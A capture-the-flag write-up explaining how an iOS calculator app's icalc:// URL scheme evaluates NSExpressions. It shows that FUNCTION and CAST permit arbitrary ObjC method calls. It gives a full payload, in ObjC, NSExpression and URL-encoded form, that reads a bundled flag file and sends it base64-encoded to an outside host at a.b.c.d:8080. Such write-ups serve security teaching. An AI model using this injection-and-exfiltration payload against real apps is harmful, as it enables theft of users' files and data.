The challenge consisted of an iOS app (Calc.app) which implemented a simple calculator. Moreover, the app also registered a custom URL scheme (icalc://) which would simply evaluate the content of the URL. The calculator was implemented using NSExpressions and the input string would simply be parsed as such an expression and executed. NSExpressions are pretty powerful and allow for example calls to ObjC Methods (e.q. typing in sqrt(42) would end up calling +[_NSPredicateUtilities sqrt:@42]). Further, there are two interesting helper functions available in NSExpressions:
FUNCTION(obj, 'foo', "bar")
Which will result in a call of the method 'foo' on object obj with parameter "bar" (an NSString).
And
CAST("MyClass", "Class")
Which will result in a reference to the MyClass ObjC class as result. (Check the implementation of [_NSPredicateUtilities castObject:toType:] in Foundation.framework).
Combining these, it is possible to call any ObjC method in the process.
The final payload then performs the following series of ObjC method calls:
NSString* path = [[NSBundle main] pathForResource:"flag" ofType:""];
NSString* flag = [[NSData dataWithContentsOfFile:path] base64Encoding];
NSString* urlString = [@"http://a.b.c.d:8080/" stringByAppendingString:flag];
NSURL* url = [NSURL URLWithString:urlString];
[NSData dataWithContentsOfURL:url];
In NSExpression format:
FUNCTION(CAST("NSData","Class"),'dataWithContentsOfURL:',FUNCTION(CAST("NSURL","Class"),'URLWithString:',FUNCTION("http://a.b.c.d:8080/",'stringByAppendingString:',FUNCTION(FUNCTION(CAST("NSData","Class"),'dataWithContentsOfFile:',FUNCTION(FUNCTION(CAST("NSBundle","Class"),'mainBundle'),'pathForResource:ofType:',"flag","")),'base64Encoding'))))
And in URL encoded form (as submitted to the challenge server):
icalc://FUNCTION%28CAST%28%22NSData%22%2C%22Class%22%29%2C%27dataWithContentsOfURL%3A%27%2CFUNCTION%28CAST%28%22NSURL%22%2C%22Class%22%29%2C%27URLWithString%3A%27%2CFUNCTION%28%22http%3A%2F%2Fa.b.c.d%3A8080%2F%22%2C%27stringByAppendingString%3A%27%2CFUNCTION%28FUNCTION%28CAST%28%22NSData%22%2C%22Class%22%29%2C%27dataWithContentsOfFile%3A%27%2CFUNCTION%28FUNCTION%28CAST%28%22NSBundle%22%2C%22Class%22%29%2C%27mainBundle%27%29%2C%27pathForResource%3AofType%3A%27%2C%22flag%22%2C%22%22%29%29%2C%27base64Encoding%27%29%29%29%29
Really nice!